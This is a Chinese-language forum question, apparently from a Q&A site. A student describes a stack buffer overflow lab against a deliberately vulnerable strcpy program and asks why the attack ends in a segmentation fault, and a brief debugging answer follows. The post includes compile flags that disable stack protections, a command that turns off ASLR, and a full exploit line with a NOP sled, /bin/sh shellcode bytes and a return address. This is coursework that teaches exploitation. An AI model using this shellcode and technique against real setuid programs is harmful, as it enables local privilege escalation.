我正在尝试对一个简单的C程序进行缓冲区溢出攻击,该程序接收一个缓冲区并将其打印出来。我已经尝试了许多组合,但最后,在尝试执行我的shellcode时,我总是得到“Segmentation Fault(分段错误)”。
主要参考了这个教程:
与教程中的不同之处在于,我也尝试在m64中编译程序,因为当我在m32中编译时,我的内存地址都不同。我尝试解释了我的步骤,但如果不清楚,您可以观看视频,因为我遵循了相同的过程。
我用来尝试攻击的代码是:
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]){
char buf[256];
strcpy(buf, argv[1]);
printf("%s\n", buf);
return 0;
}
我是这样编译代码的:
gcc -o example -fno-stack-protector -m64 -z execstack example.c
我也尝试使用m32编译它,但正如我之前所说,使用gdb反汇编main函数后我的结果与教程完全不同。另一方面,当我使用m64编译时,结果非常相似,因此更容易跟进。
一旦我编译好并打开gdb,我就会反汇编程序的主函数并查找strcpy调用。然后选取其中一个strcpy调用地址的右侧地址,并在该地址上设置断点。
之后,我运行Python代码。
run $(python -c "print('A'*256)")
然后我运行了这个命令,它会打印出256个A。在此之后,我使用以下命令检查程序的内容:
x/200xb $esp
现在我能够看到'AAA...'序列在内存中的确切地址,我会把它写在纸上,然后再次运行我的Python代码,以了解它何时使用哪个值进入分段错误状态。
一旦我找到了分段错误条件,我只需运行以下命令:
run $(python -c "print('\x90'*222 + '\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88
\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd
\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68' + '\x94\xcf\xff\xff')")
其中:
- 222 是我需要到达 Segmentation Fault 的 \x90 数量减去我的shellcode的大小(46字节)
- 最后的 '\x94\xcf\xff\xff' 是我之前在一张纸上记录下来的地址,当我在内存中检查 'AAAA' 序列并查看它从哪里开始时,我写下了这个地址。当然,当我使用m64编译程序时,这个地址会更长。
此时,当我运行命令时,应该执行shellcode,但实际上并没有发生,总是显示 Segmentation Fault。
当然,我也用以下命令禁用了aslr:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
非常抱歉我的解释可能有些凌乱,我尝试了很多不同的可能性,但从来没有得到正确的结果。(当然会改变一些标志、m64、m32,并略微调整最后一个命令的值)。
提前感谢您的帮助,因为我需要解决这个大学作业问题。
ret
指令处设置断点,并检查堆栈以查看你创建的返回值是否正确且正确地指向你的 shellcode。你可以使用ni
单步执行代码以查看正在发生的情况,并使用disassemble
显示即将执行的下一条指令。如果disassemble
无法工作,可以使用类似x /10i $rip
(或$eip
适用于32位代码)的命令。即使禁用了ASLR,堆栈仍然可能会改变地址(虽然不太可能),还有可能跳过 NOP 的开头而直接跳转到后面。 - Marco Bonelli